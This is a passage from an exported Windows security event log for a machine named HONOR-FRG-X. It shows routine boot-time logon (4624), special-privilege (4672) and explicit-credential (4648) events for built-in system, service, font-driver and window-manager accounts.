command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.458\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tYes\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-96-0-1\n\tAccount Name:\t\tUMFD-1\n\tAccount Domain:\t\tFont Driver Host\n\tLogon ID:\t\t0x1479A\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.460\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.460\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.467\t40\tAppContainer onecore\\ds\\security\\gina\\profile\\profext\\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost was not created because it already exists.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:28:57.467\t40\tAppContainer onecore\\ds\\security\\gina\\profile\\profext\\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost was not created because it already exists.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:28:57.469\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.469\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.502\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tNETWORK SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E4\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.502\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tNETWORK SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E4\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.531\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.531\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.557\t32\tPlugin RDSAppXPlugin has been successfully initialized\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:28:57.582\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tNetwork Address:\t-\n\tPort:\t\t\t-\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tYes\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DD5E\n\tLinked Logon ID:\t\t0x1DDB6\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tYes\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DDB6\n\tLinked Logon ID:\t\t0x1DD5E\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DD5E\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DDB6\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.604\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.604\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon 